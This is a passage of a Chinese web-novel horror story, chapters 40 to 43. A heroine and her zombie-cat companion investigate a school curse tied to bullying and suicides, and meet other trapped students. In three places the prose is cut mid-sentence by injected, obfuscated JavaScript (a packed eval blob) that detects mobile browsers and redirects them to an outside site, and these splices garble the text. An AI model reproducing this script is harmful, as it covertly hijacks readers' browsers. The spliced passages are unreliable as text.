“应该是吴林他们跟你说的吧……就是欺负我的那群人。他们经常诅咒别人死。”向潇湘可能好久都没有说话了,声音有些沙哑,此时脸上一片茫然,“这是怎么回事啊。我一醒来,就在这个地方。” 今浅点头,没再多说。 一道风擦着她过去。 今浅回头。 一只叼着玩具头的巨型丧尸猫朝她飞奔,看样子有些蠢。 “好可怕的怪物!”向潇湘瞪大眼睛,捂嘴,指着今浅身后,瑟瑟发抖。 “放心,他不会伤害你的。” 向潇湘有些好奇。她伸手,想碰碰闻啼,然而闻啼却灵巧地灵巧地蹿到今浅的旁边,瞥了一眼向潇湘,放下玩具头后,高贵冷艳地端坐在今浅旁边。 “难道,它是你的技能吗?就像小说里写的那样。”向潇湘也不尴尬,收回手,笑了笑,说,“能控制这些怪物,好厉害啊。” “厉害的是他,不是我。”今浅很谦虚。 闻啼嫌弃地撇头,没有出声,但他的声音在今浅脑海里响起。 “你们在那间美术室里做了什么啊。里面乱七八糟的,我找了好久才找到这颗头。” “劳烦你了,这么费心费力。”今浅的嘴很甜,“如果没有你,我可能要多费好一番功夫。” 闻啼不语,只是嘴角略微上扬。 但他却说:“头好脏啊。要不是我现在没手,我才不会叼着它过来。” “书上说了,很多病的起因,都是因为吃了不该吃的东西。”今浅慢悠悠地说。 “……真的?”闻啼脸色骤变。 “对你来说,应该是假的。”今浅说,“毕竟,你现在也不算人,人类的总结出来的规律应该对你无效。” 闻啼呵呵一声:“我总感觉,你在骂我。” “我只是在陈述事实。”今浅理直气壮。 闻啼怀疑的目光徘徊在今浅身上,今浅若无其事,拾起那颗玩具头的一角。 好在闻啼附身的是尸体,尸体不会流口水。这颗头只是布满东一块西一块的灰尘,上面还有参差不齐的牙印。 这颗玩具头五官就像是用黑色水彩笔画上去的一样,现在眼尾下垂,嘴角向下弯,看上去很委屈。 “咦,这颗头……”向潇湘凑上前,突然顿住了。 今浅问:“你认识?” “实不相瞒……是的。”向潇湘点头,捋了捋落到额前的发丝,有些为难。“我也不知道我该不该说。” 今浅和闻啼对视一眼。 他们一直都想知道学校的秘密,一直寻找但无果,没想到,面前就有一个现成的线索。 “不用管该不该说,你把你知道的都说出来就可以了。” 向潇湘深吸一口气,眼神复杂,说:“你可能不知道,我们学校有一个许愿的仪式。只要向神明奉上自己最诚挚的忠诚,那么神明就会实现你的愿望。但其实,这个许愿仪式,是假的。” “哦?”今浅故作不知。 “别人可能不知道,但我很清楚。”向潇湘看着今浅手里的小A玩具头,踌躇片刻,小声说,“那并不是等价交换的许愿,而是要付出代价的。我……身边就有一个人,她在跳楼前,经常拿着这个玩具。当时她的成绩上升得飞快,其他人都怀疑她作弊,但我相信她绝不是那样的人,因为她真的很努力每天晚上熬夜读书——可是后来,她跳楼死了。” 今浅耐心听着。 “在这之后,我就开始调查这所学校的秘密。这几年,每年都有同学,在成绩飙升的几个星期后,跳楼死亡,而他们身边都有一个玩具,跟她身边的一模一样的玩具。”向潇湘像是陷入了回忆。 “玩具是凭空出现的?”今浅问。 “不是。”向潇湘摇头,脸沉下来,说,“是吴林。” “嗯?” “他们除去都拥有玩具,还有一个共同点——他们都遭受过吴林的霸凌。”向潇湘愤恨地说,“那个狗东西仗着自己的家世显赫,为非作歹,根本就不在乎其他人的死活……咳咳咳……” 说到激动的地方,向潇湘费力地咳嗽几声。 也许是在怪谈世界呆的时间有些久,她的身体状况变差了。 “吴林那个狗东西一定知道什么,或者他是受益者。”向潇湘阴沉着脸。 “这么说来,这个怪谈世界其实是关乎校园霸凌的事件。”闻啼捋了捋向潇湘的言语,总结,“吴林霸凌那些同学,那些同学一个个痛苦自.杀,怨念无处发泄,便变成了这个世界的鬼怪。至于这个玩具头,应该就代表着被这群霸凌者分尸的受害者。” 那他们只需要把这些受害者拼起来,让受害者大战霸凌者就可以了。 “没那么简单。”今浅说,“动脑子这种事情还是很不适合狗狗呢,狗狗还是乖乖在旁边玩球吧。” “今浅!老子是猫!” “但是猫咪只会喵喵叫。除非你叫一个给我听,不然我不信。” “今浅!!” “我在。” 于是,今浅顺利把闻啼惹毛了。 “诶,它怎么突然怒了……”向潇湘看着浑身炸毛,龇牙咧嘴的闻啼,吓了一跳。 “没事,他脸皮薄,经不起逗弄。”今浅笑着,安抚般拍了拍闻啼的头,“乖,别闹,吓到人家了。” 闻啼正极力挣扎,闻言后顿了顿,不情不愿地仍有今浅折腾。 “你当时看到的,是只有这颗头,还是一个完整的身体?”今浅问。 “是完整的玩具。” 今浅若有所思。 正好,他们现在要收尸,哦不,收集完整的玩具。 “向潇湘不在学校,是因为她因为意外,进入了怪谈世界,对吗?”闻啼问。 今浅没有表态。 向潇湘身上其实有很多的疑点,但这并非重点。 今浅沉吟片刻后,朝向潇湘坦白:“其实你看见了,我们现在所处的世界并不是现实。” “虽然心里有些猜测,但实际上……还是不敢相信。”向潇湘的接受能力很好。她苦涩一笑,垂下眼眸,说,“只可惜,我被困在这里,找不到离开的出口。” “如果你相信我,那么我们可以一起寻找离开这个世界的出口。”今浅说。 “其实你是想把我当作探路的石头吧。”向潇湘垂下眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284198|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸,无奈地扯了嘴角,说,“不过,我可能也就只有这点用处了。” “不是哦。”今浅摇头,“任何人都不能否定自身的价值,包括你自己。” 向潇湘愕然,抬眼看着这个站在几米之外的女生。 她身后是怪异的断臂丛林,脚边端坐着一只布满腐肉的巨型丧尸猫,前途是未知的死亡和危险。 一切都是那么不安,恐怖,足以让人心生胆怯。 可偏偏,面前的女生单手插兜,面容平静,就像一池处变不惊的湖水。 她开口,说的话,激起向潇湘心中的万千波澜。 “书上说了,人类是不会放弃自己的同伴的。我从来不会放弃自己的同伴。”她说,“我也并不认为,怪谈世界只有一个人才能离开。” 至少,闻啼相当于半个人。 向潇湘忍不住问:“可如果你只能找到一个人离开这一种方法呢?” “那只能说明,我还没有找到解开这个世界谜题的最优解。”今浅笑了一下,颇有种不知天高地厚、不可一世的骄傲,说,“但我可并不相信,这个世界会有我找不到的最优解。” 向潇湘哑口无言,最后只能说:“……这简直就像是在等待奇迹的发生。” “奇迹从来不是等来的,而是创造出来的。”今浅轻笑,“正好,人类最擅长的,就是创造奇迹。” 今浅微笑,朝向潇湘,伸手,说:“所以,我们一起,创造独属于我们人类的奇迹吧。” 向潇湘盯着今浅半晌,今浅仍然没有收回手动打算,只是微笑,似乎早已笃定向潇湘不会做出其他选择。 最后向潇湘叹了口气,认命般伸出手,说,“什么嘛,根本就没有我拒绝的机会。” 两人握手,但一道不和谐的声音在今浅脑海里响起。 “喂,喂,你俩在干什么呢。”闻啼幽幽出声,“光天化日之下,搂搂抱抱,亲亲我我。至少估计外人的存在吧。” “因为闻啼不愿意给我抱呀,那我也只能找别人了。”今浅收回手,埋怨般地说。 “我身上这么脏,你也敢下手?”闻啼怀疑,“你的口味有点重啊。” “那狗狗的口味就会更重啦呀。毕竟狗狗要听主人的话嘛。” 今浅这句话,伤敌一千自损八百。 闻啼懒得搭理具有物种认知障碍的今浅。 “话说,我们现在该干什么?”向潇湘说,“我们也没有多余的线索。” “小树林存在,就一定有它存在的道理,说不定这里面就埋了几个人呢。”今浅拍了拍闻啼。 闻啼眼皮跳了跳,感觉有什么不太好的事情即将发生。 “话说,你既然能闻到我的气息,想必也能闻到类似的气息喽?”今浅凑近闻啼耳边,小声询问。 虽然闻啼很不想承认这个很像狗狗的描述,但是这确实是他的能力。 “……是这样的。”闻啼强调,“但这并不是因为我是狗狗,而是因为我是半人半鬼的状态,对人类和鬼怪的气息就会很敏感。” “好。”今浅笑了笑,但闻啼从中听出来她的不怀好意,“那你就在这里找找,有没有类似这颗玩具头气息的物品吧。” “……那你呢?在旁边偷懒。”闻啼一眼就看出今浅想拉他当免费劳动力的小心思。 “我这才不是偷懒呢。我也很辛苦,要想我们离开的方法。”今浅认真纠正,“而且,我现在只有一只胳膊。闻啼也太狠心了,居然想为难我这个残疾人。” 闻啼刚想说什么,突然神色凝重地看向天空。 天色阴沉,隐隐要下雨了。 41. 第 41 章 “看样子,快到‘夜晚’了。”今浅仰头看天,一边把玩具头收好,一边说,“留给我们的时间已经不多了。” “还好现在只是第二个晚上。”闻啼嫌弃地扒拉着这些‘肢体森林’,小声嘀咕着。他周围布满了大大小小的坑。 闻啼附身在尸体猫上。好在他体格变异,再加上前肢的肉都被腐蚀掉了,露出白森森的骨头,铲起土来还算是快的。 今浅和向潇湘也在寻找。 “快来,这里有一根奇怪的手臂!”向潇湘被吓得,后退几步,捂住嘴,说,“啊,它……它居然还会动。” 今浅闻言,抬头。 一只断掉的手臂正在乱跑,就像一只在地上阴暗爬行的蟑螂。 突如其来重见天日,让它毫无目标地到处乱爬。 像是察觉到今浅的目光,这只断臂调转方向,一鼓作气冲向今浅。 “今浅,小心!”闻啼离今浅比较远,来不及去帮今浅,只能焦急地开口。 今浅来不及躲闪,那支断手就像是有自我意识一般,朝她飞扑而来。 闻啼落后了半个身位。 到场时,只见那只断手“咔嚓”一下,接道今浅的断臂上,而后一动不动装死。 “今浅,你……没事吧?”闻啼见状,有些迟疑。他不知道今浅的手是怎么断的,所以问:“难道……这是你失去的那根手臂?” “你见过有人拥有两只右手吗?”今浅微笑,抬起双手,挥舞示意闻啼。 刚才接上的那根手臂很听话地仍由今浅摆布。尽管是右手,但就像是亲自长出来的。 “如果是普通人的话,那确实没有两只手。”闻啼见今浅没事,微微放心。 “原来在你眼里,我一点都不普通。”今浅说,“书上说了,这种情况就说明你喜欢我了。” “你理解错了,我其实在说你不是人。” “这叫做智多近妖。”今浅说,“你夸我智商高,说明你还是喜欢我。” “……看样子,这片小树林只有这只断臂是特殊的,没什么其他特别的。”闻啼决定岔开话题,“会不会藏在这些尸体上?” 他在小小的树林里挖呀挖呀挖,除了被埋在土里的尸体以外,什么都没有挖出来。 今浅附身检查这些尸体。 尸体横七竖八地躺在地上,双眼瞪得老大,张开的嘴巴里灌满了土,神情半是怨恨半是恐惧。 指甲劈裂,缝隙间参杂着泥土和血迹。 今浅陷入深深地思考,不时点点头,一副若有所思的样子。 “今浅,你在想什么?”向潇湘好奇。 “嗯,我再想啊……”今浅摸着下巴,视线落到尸体身上,说,“这些尸体肯定很穷。” “?” “他们都吃土了。”今浅指着他们的嘴巴,沉重地说,“这肯定是在提醒我,如果不赚钱,就会落得这种惨痛的下场。” “……” 向潇湘沉默。 “他们这明显是被活埋了吧,今浅。”闻啼扶额。 “太穷还会被活埋?”今浅震惊,而又有些不解,“书上说了,贫穷明明是最痛苦的活法。直接死反而给他解脱了。” “那正好,活埋也是最痛苦的死法,这两个一来,生和死都会很痛苦……不对,我干嘛跟你讨论这些有的没的。”闻啼无语。 “我有急事,先去一下厕所。”向潇湘面色难看,顾不上什么礼仪,匆匆离开。 天上的云慢慢聚拢在一起,阴影变得厚重。一道闪电贯穿了云霄,在场所有人的脸都被照亮。 “轰隆——”雷声大作。 紧随其后的,是豆大般冰凉的雨。 “滴答——” 无色,无味,微凉。 天黑得迅速,几乎是在眨眼间,雨水争先恐后地落到地上,渗入进土的缝隙,迅速消失殆尽。 今浅抬头。 她只觉得,雨中有一道道奇怪的声音,在呼唤她,蛊惑她。 今浅很想拔腿就走,可是这阵雨过于冰凉,以至于身上的力气全部因此冻结。 心中似乎有什么东西正在消失。 世界在静止,只有雨水是流动的,是圣洁的,是唯一能洗涤罪恶的存在。 呼吸是罪恶的。 心跳是罪恶的。 原本躺倒在地上的断肢残臂就像是拥有了灵魂,慢慢簇拥着今浅。 它们抓住今浅的手臂和腿,拉着她慢慢陷入土里。 湿润的棕土痕此时紧紧缠在她的身上,就像古代祭祀时不祥的纹路。 ——来吧,一起坠落静止的,神圣的,沉稳不动的伊甸之息。 雨中的那道声音蛊惑着今浅。 “今浅!你给我醒醒!”一道暴躁的声音响起,稍微唤醒了今浅的少许理智。 紧接着,她只觉得自己浑身一轻,耳边是呼啸而过的风。 闻啼正叼着今浅的后衣领,就像一只叼着自家崽的猫,飞奔前往离自己最近的教学楼。 这一切发生得太快了,闻啼还没来得及提醒今浅躲雨,下一刻这雨就迫不及待地落下。 他刚才刨土的时候,离今浅较远,赶过来的时候,今浅早就中招,半截身子已经入土。 要不是他来得太快,那群手还没来得及反应,他也不会这么轻易地像拔萝卜一样,拔出今浅。 闻啼手脚并用,叼着挡视线的今浅,不时还要躲避扑上来的断手断脚,又得警惕今浅被迷惑到挣扎离开。 但好在他挺过了一次雨水的洗礼,现在对雨水有了点抵抗力,这才不会跟今浅一样,乖乖躺板板。 闻啼手忙脚乱,心里生了点悔意。 早知道这场雨来得这么快,对今浅的影响这么大,他就应该提前带着今浅离开小树林。 今浅一路颠簸着,她在空中晃来晃去,脑子终于清醒了。 感觉自己再晃下去,脑浆都要被摇匀了,今浅颤颤巍巍地抬手:“闻啼……快放我……下来。” “闭嘴,给我老老实实地呆着。”闻啼烦躁打断。 这群断手简直像是没见过活人一样,死死地盯着他们,就像带着人粪气息的粘人苍蝇一样令人心生厌恶。 终于,在躲闪最后几个断手的扑闪后,闻啼和今浅终于狼狈地回到教学楼。 闻啼放下今浅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298007|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今浅双腿发软她,撑着墙走了几步,终于忍不住,弯腰干呕。 情况紧急,今浅刚才只觉得自己如同洗衣机里的衣服,在高速旋转的洗衣机桶里脱水。 今浅摸了摸身上的衣服,正好,在刚才被甩的路上都干得七七八八了。 “第一次做猫,不太熟练,抱歉了哈。”闻啼不走心的道歉让今浅怀疑他在过程中公报私仇。 “没关系,毕竟刚才闻啼刨土的样子很熟练,看来以前没有少学习呀。”今浅扯出一丝虚弱的微笑,说,“正想亲自见证闻啼小时候像狗狗一样刨土的样子。” “混蛋啊今浅,我都说了我不是狗狗!而且,你都多大人了,快下雨,都不知道提前躲雨吗!”闻啼骂骂咧咧的声音在今浅心底响起。 生龙活虎的,真好。 今浅莫名松了口气,可是余光中,她看见那些断肢正准备闯进教学楼。 “它们可能已经缠上你了。”闻啼脸色大变。 今浅低头,身上已经布满了棕色纹路,隐隐散发着光。 “我们现在进教室。”今浅当机立断。 他们根本没有任何耽搁的时间,只能迅速地闯入最近的教室,而后关门,上锁,一气呵成。 晚了半步的断手断脚被挡在门外,气愤砸门,却又无可奈何,天花板上的灰被门的动静吓得哐哐下坠。 它们砸了好几遍,但教室门依旧□□。它们最后只能灰溜溜地离开。 “看样子,它们走了。”今浅耳朵贴在门上,听着外面的动静。 她平复呼吸,转过身,却意外听见其他人的声音。 “你们是谁?!” 声音略带紧张和不安。 今浅这才意识到这间教室还有别人。 她看过去,都是陌生的学生。 “这话应该是我问你们吧。”今浅偏头,眼睛微眯,说,“你们是谁,为什么会出现在这间教室。” 也许是今浅身上的血迹太骇人,再加上她的气质莫名让人心生畏惧,几个没有经历过社会毒打的年轻学生不安地对视了几眼,下意识坦白。 “我……我叫黄霑。”刚开始出声的女生小声说,“我只是在家里上个厕所,推门而出时,就来到这间教室。” “我叫杜腾。”杜腾神情忐忑的同时,多了几分不知所措,说,“我刚才还跟我老大一起开黑,也是莫名其妙就来到这里的。” “我……我叫张婷婷。”张婷婷背着手,怯生生地瞄了今浅一眼,而后迅速收回目光,“我只是半夜睡不着,来教室好好学习而已。” 今浅在他们自我介绍的同时,扫了一眼教室。 这间教室和普通教室别无不同,只是讲台上多了一根苍白的,正在燃烧的蜡烛。 她走到那根蜡烛旁边,随口一问:“你们来到这间教室的时候,有找这里的线索吗?” “……什么?”黄霑迷惑,在场几人对视一眼后,黄霑追问,“你是不是知道什么?” 今浅背对着他们。 杜腾拿着扫帚,屏住呼吸走上前。 正当他准备袭击今浅时,余光中一道凶狠的身影闪过来,朝他低吼了一声。 42. 第 42 章 一只巨型野兽蹿到杜腾的眼前,把今浅护在身后。 讲台上的蜡烛光线昏暗,照不清它的毛色,只能看见不同深浅的色块——深一点的是腐肉,浅一点的是骨头。 它的瞳孔已经扩散至整个眼眶,漆黑的目光不带有任何感情,落在杜腾身上,仿佛一具死去的尸体正在盯着另一个即将死去的尸体。 “哎呀,有人不乖呀。”略带俏皮的声音响起,杜腾只觉得自己的双腿被钉在地上,无法动弹。 他只能僵硬着脖颈,看着那个女生,慢悠悠转过身,笑语盈盈地看着自己。 面前有两道视线,一道视线冷漠没有感情,而另一道有着笑意却浮于表面。 杜腾在那瞬间,才恍然察觉一件决定了他命运的事情——他,似乎,惹了不该惹的人。 心慢慢地凉了。 “啊——” 旁边的人发出尖叫。 教室的光线只有讲台上蜡烛的白光。 黄霑和张婷婷都没想到,进来的不止有今浅。 杜腾几乎拿不稳手中的扫帚。 喉咙发出几次“咔”的呜咽,他才面前找回自己的声音,咽了咽口水,颇为艰难地说:“哪……哪里来的……狗?” “噗呲。”今浅没忍住笑出声。 闻啼顿时脸色阴沉。 在他即将开骂的时候,今浅环顾周围人一圈,装作不经意间,说:“你们还没有说真话,我的耐心只有一次机会哦。” 此话一出,所有人脸色大变。 窗外,雷雨大作。 向潇湘正站在教学楼内,四周是爬行的断肢残臂似乎很害怕她,即便这么一个大活人呆在这里,它们也装作没看到,甚至绕道而行,唯恐沾上这种晦气般的存在。 “哒……哒……哒……” 向潇湘身后的走廊深处,传来了一连串的脚步声。 向潇湘并没有像普通人一样,被吓得仓皇离开,而是站在原地,目光似乎要穿过这片雨帘,看向远方。 见状,脚步声的主人似乎很没劲,声音也变得懒懒散散,说:“我还以为能吓到你呢。” “这种小把戏早就过时了。”向潇湘淡淡地说,她回头,黑长直的发丝在空中划出优美的一笔,而向潇湘眼神寡淡,并不意外地看着来人。 “你也只能骗骗刚来的那群人了。”向潇湘平静地说,“小A。” 来者轻笑一声,慢慢走出漆黑的走廊。 如果当初被埋在土里的黄毛现在在这里,他一定能惊恐地认出,来者是跟班2号。 如果刚躲进教室的今浅在场,她也一定能立刻证明自己的猜想,内鬼就是相机男。 小A,跟班2号,相机男,都是同一个“人”。 小A甩着手中的相机,故作埋怨地说:“什么呀,明明当了这么久的搭档,可对我还是这么冷漠……明明你刚才还不是这样的。” 向潇湘回头,重新看向盛大的雨幕,有些厌恶地说:“别说得这么亲密。明明我们只是各取所需。” 小A的脸瞬间阴沉,可这种阴沉也只存在屋檐上的一滴雨水滴落的瞬间。随着这滴雨水渗入土缝后,它重新恢复了健康阳光的笑容,说:“这可真是让人伤心呢。” 向潇湘懒得搭理小A。 她比谁都要清楚,小A只是表面看起来把自己当成“合作朋友”,实际上,它巴不得率先让她死亡。 这很容易理解。 毕竟,向潇湘也是这么想的。 靠自己同伴的性命维持利益关系,看起来小A要依靠她,可实际上,向潇湘才是那个最容易被替代的那个——如果有“人”会比她拉来更多的人,那么她就会像一块没人要的破布一般,被轻而易举地扔进垃圾桶,没有任何一丝留恋和眷顾。 小A这种鬼怪,可没有任何忌口。 如果这种事情真得发生了,那么她——必须得先下手为强。 在小A杀自己之前,先杀了小A。 向潇湘的眸子沉下来。余光瞥向不知道在想什么的小A。 “话说,我在这过程中遇见了一群有趣的人。”小A笑眯眯地扯开话题,“你肯定认识,秦语,和裴佑。” “嗯。”向潇湘淡淡地应了一声,算是简单的回答,“真倒霉啊。明明学校可是有规定离校时间段。” 对于主动赴死的人,向潇湘从来都不吝啬自己几乎没有点同情心。 “他们可是为了某人而进来的哦。”小A故作惊讶,“你居然会这么冷漠。” “他们,可不是我的朋友。”向潇湘说。 小A一愣,了然一笑:“没想到你能绝情到这种地步。人类啊,果真是自私绝情的。” 它还是了解得太少了。 “不过,除了他们,我还认识一个人。”小A笑着说,眼底划过一道狠戾的光,语气略微苦恼,“一个为了达成自己的目的不择手段,甚至愿意伤害自己的人——居然意外得很有底线和原则,哪怕明明都提醒他们之间内鬼,她居然也能抓到其中的漏洞,迅速‘团结’众人。” 小A拍了拍头,有些苦恼地说:“真是可怕啊。明明之前选学生是因为他们很容易相信虚假的鬼神之说,很容易叛变。没想到现在一看,他们也很容易被团结。” 这种特立独行的矛盾和描述,让向潇湘莫名想到了今浅——那个第一次见面就掺和进她把吴林那群人引入怪谈世界的保洁,第二次见面就大言不惭地说希望能合作离开怪谈世界。 她身上似乎有某种特别的魔力,能让听她说话的人不由自主地相信她。 “这样的人,肯定能成功离开这个世界吧。”小A故作感叹。 “你还真是不把合作对象的命放在心上。” “怎么会?!我真的很在乎你,可是你却不相信我。”小A气鼓鼓地说,样子似乎有些委屈。 向潇湘冷笑一声:“都说了,你只能骗骗那些人。” 她怎么可能还不知道小A的言外之意。 怪谈世界只能离开一个人。 小A觉得今浅能离开,那么她就只能被留下。 小A在威胁她,让她主动进入这群人里,参与小A为人类量身定制的游戏。 “这都能被你发现呀。”小A也不装了,笑着说,“真的很期待你大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304760|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀四方的样子。” 向潇湘不再多说,转身离开。 雨水拍打在窗上,划过一道的水痕又被新的覆盖。 实验室,秦语几人躲在角落里瑟瑟发抖。 这间实验室除了他们,没有别人。 可是诡异的声响却回荡在实验室的各个角落。 “你们躲不掉的呀,嘻嘻。” “我们无处不在。” “我们看见你了。” 秦语和裴佑经历过恐怖的雕像,比起来,这种制造噪音的倒是没那么吓人。 但吓人是相对而言的。 对于在场的其他人,这种远超越常识的事情突然发生在眼前,反而显得格外瘆人。 “又来了……这些声音……”吴林惊恐地喃喃道,被吓得捂住耳朵,瞪着双眼,全然不见在现实中趾高气昂,目中无人的样子。 他好像已经在这个鬼地方呆了好久了。 两天? 或许是两个星期? 也可能是两个月? 比起□□的折磨,精神上的凌迟显得更为痛苦。 谭迟面容憔悴,看起来并不好过。 黄立只是低着头,双手合十像是在默默祈祷。 裴佑离黄立比较近,只能听见他嘴里说着什么“女儿”“平安”。 “大叔,你怎么在想着女儿平安啊?”裴佑有些意外,“你是来许愿的?可是神明的祈愿仪式是假的,这只不过是那些鬼怪吃人的遮羞布。” “没办法,我只有这一个女儿了。”黄立黯然神伤,说,“她妈妈过世得早,也只有我把她拉扯到大,一天打6份工就是为了让她的生活能过得不比普通家庭的差。” “看来,您对您女儿很好。”秦语说。 “做父母的,总会觉得自己对女儿不够好,总会觉得自己做得还不够好。”黄立叹了口气,说,“不过,她也很懂事,现在成绩越来越好,说不定还能考上名校——等她考上好大学,我们做家长的,就轻松太多了。” 谭迟扶了扶眼睛,冷淡打断几人的叙旧,说:“现在不是叙旧的时间。你们有没有什么别的想法?” “就……按照它们说的来?”裴佑有些迟疑。 在窗外下大雨的时候,实验室内的鬼怪就复苏了。 它们有的藏在花白的天花板上有的附身在桌子上,有的夹在两个实验柜之间,有的在斑驳的墙壁和肮脏的地底。 它们无处不在,无时无刻不在说一件事—— “陪我们,玩游戏吧!” 和裴佑与秦语的学生身份不同,除去精神崩溃的,在场都是社会人,心思都很精明。 在谁也不知道,游戏内容是什么,失败惩罚是什么,逃脱办法是什么时,谁都不愿意站出来尝试。 比起自己亲自示范,出事后成俩别人离开的垫脚石,他们更愿意等待蠢人自动站出来。就好比在秦语和裴佑来之前就有两个坐不住的。 一个强制开门,而后被门吃掉。 一个掀桌,被塞进化学仪器里。 也因此,他们自从来到这个实验室,就再也没有任何行动。 43. 第 43 章 教室。 惨白的烛光没有温度,烧灼着在场所有人的脸颊。 “我们……我们……”张婷婷看了黄霑一眼,后者对她点头. 张婷婷一咬牙,只能承认:“不错,我们是偷偷溜进学校的,为的是向神明许愿,提高我们的成绩。” 对于这个回答,今浅并不意外。 “现在,该你了吧。”黄霑攥着被洗发白的衣角,盯着今浅,质问,“你是谁?又为什么过来?” “我是保洁。”今浅插兜,无辜开口,“你们放心,我只是路过,没有恶意。” 黄霑等人面面相觑,半信半疑,目光在今浅和闻啼身上来回徘徊。 闻啼冷眼看着他们,懒得挣扎。 “他是个意外。”今浅微笑,说,“只要你们不伤害我,你们是不会有危险的。” 张婷婷瞥了闻啼一眼,飞快地说:“我们不信,万一你带了刀之类的,想要害我们怎么办——你把你身上的东西都掏出来,让我们看看。” 今浅照做,在心里庆幸自己提前扔掉了用麻花辫女生的部分尸体制作而成的暗器。 她身上没什么东西,除了几张黄色的纸。上面奇怪的符文吸引了几人的注意力。 “这张纸是什么?” “上司送我的符咒,说是可以保平安的。”今浅说,“可能是他那边太缺人了,便太希望我平安,给了我好几张。” “平安符啊……”黄霑抬头,正好对上张婷婷的视线,两人心照不宣地勾了勾嘴角。 “你都来到这么奇怪的地方了,这说明平安符根本没有用。”黄霑说,“正好我知道垃圾桶在哪儿,就顺便帮你扔了吧。” 黄霑顺手抽出这几张平安符,正想若无其事地塞回口袋,被今浅摁住。 黄霑心慌了一瞬,以为自己的意图被发现了,没好气地反问:“你想干什么?” 今浅说:“你确定,要拿走这几张符纸吗。说不定,那个上司是在骗我。这几张符也不能保证平安。” “……”黄霑有些犹豫。 张婷婷笑了一声,说:“你说这些,不过就是想把符咒拿回去而已。可你怎么不想想,如果没有这些符咒,你怎么可能一路平安。” 今浅沉默。 黄霑却误认为这是今浅心虚了,便冷笑说:“我还以为你有多么高尚,原来是喜欢玩心机啊。只可惜,你玩的都是我剩下的。” 她抽出自己的手,再拿出一张平安符,毫不吝啬地丢给张婷婷,说:“正好,这样一来,我们都安全了。” 张婷婷将平安符好好地折好,放进自己的口袋,余光中看着一直沉默的今浅,嘲笑开口:“你看看她,蠢得连这些保命的东西都不知道护着。跟之前那些人简直没法比。” “那也不一样。他们只是心理太脆弱了,而不是蠢。我们只是考验他们的心理承受能力,可没想到他们都没挺过去。”黄霑故作惋惜,“谁能想到会有人把那些玩笑话听进心里啊。” “喂,跟你说话呢。”张婷婷微愠,看着一直不吭声的今浅。 她可是跟在吴林身边的红人,在学校里连老师都没有敢忽视她的,更不比说面前的小小保洁。 “你们难道没听说过这个故事吗?”今浅叹气。 “……什么?” 今浅抬头。她离讲台的蜡烛最近,烛光隔开她脸上的昏晓,连带着她的声音,也有些捉摸不定的阴森。 “鬼画符。”今浅微笑,“不要拿来路不明的符咒,特别是,符咒的黄纸有暗纹。” 黄霑不屑,张婷婷顿了顿,把符咒对着光。 上面够了这奇怪的图纹,分不清是人为填上去的笔画还是它原本的暗纹。 张婷婷下意识攥紧手中这个符咒。 “传说,人画符咒,叫做阳符;而鬼画的符,叫阴符。阳符可以保平安,而阴符则恰恰相反——阴符是鬼狩猎的引路标。拿到阴符的人,是无法甩掉这张符咒,直到被鬼吃掉。就连他们周围的人,也会成为鬼怪口中的美食。” 她的话音刚落,教室里的温度便冷了几分。 “……别编了。”黄霑揉了揉胳膊,不屑,“这种没有任何技术含量的鬼故事,我早就听腻了。而且,我可从来都没有听说过什么鬼画符呢。” “呀,你们这么快就发现我是编的故事啦。”今浅捂住嘴,看起来惊讶,但她眉眼弯弯,说,“可我刚才,有一句可是真话呢。” 黄霑翻了个白眼,刚想说什么的时候,突然被张婷婷拉住衣角。 “杜腾……”张婷婷面色煞白,神情惶恐,指着黄霑身后,仓皇无措,结结巴巴,“杜腾!他……” 黄霑心头一沉,连忙回头。 不知何时,刚才拿着扫帚的杜腾已经完全变得不像个人样。 他的双眼已经翻白,嘴里发出着“咔嚓”声,像是关节和内脏错位重组时的呻吟。 它躯干就像是树的外皮,内卷蜷缩包裹着扫帚,同时身体拉长,双脚扎根入地上,双手像榕树枝干上的根,垂落着,头和脖子向天花板生长。 就像一棵开了倍速生长的人树。 可它无法漫无边际地自由生长。 当它到达了某个地方的时候,突然无法动弹,像是被某种透明的墙壁禁锢住。 两股力量似乎在暗中对峙,人树微微颤抖,最后在静止的一瞬间,被拦腰截断。 墨绿色的汁.液透露着黏稠的橡胶味,迸溅到在场的所有人身上。 闻啼闭上眼睛,不忍直视。 今浅面无表情地看着这棵拦腰截断的树。 “只有黄霑和张婷婷尖叫。 “啊——” 在上一秒,这棵树还是她们的同伴。 黄霑愤恨不平,红着眼冲着今浅怒骂:“一定是你!都是你在暗中指使的!” “我可没有这么大的能力。”今浅平静地看着黄霑。 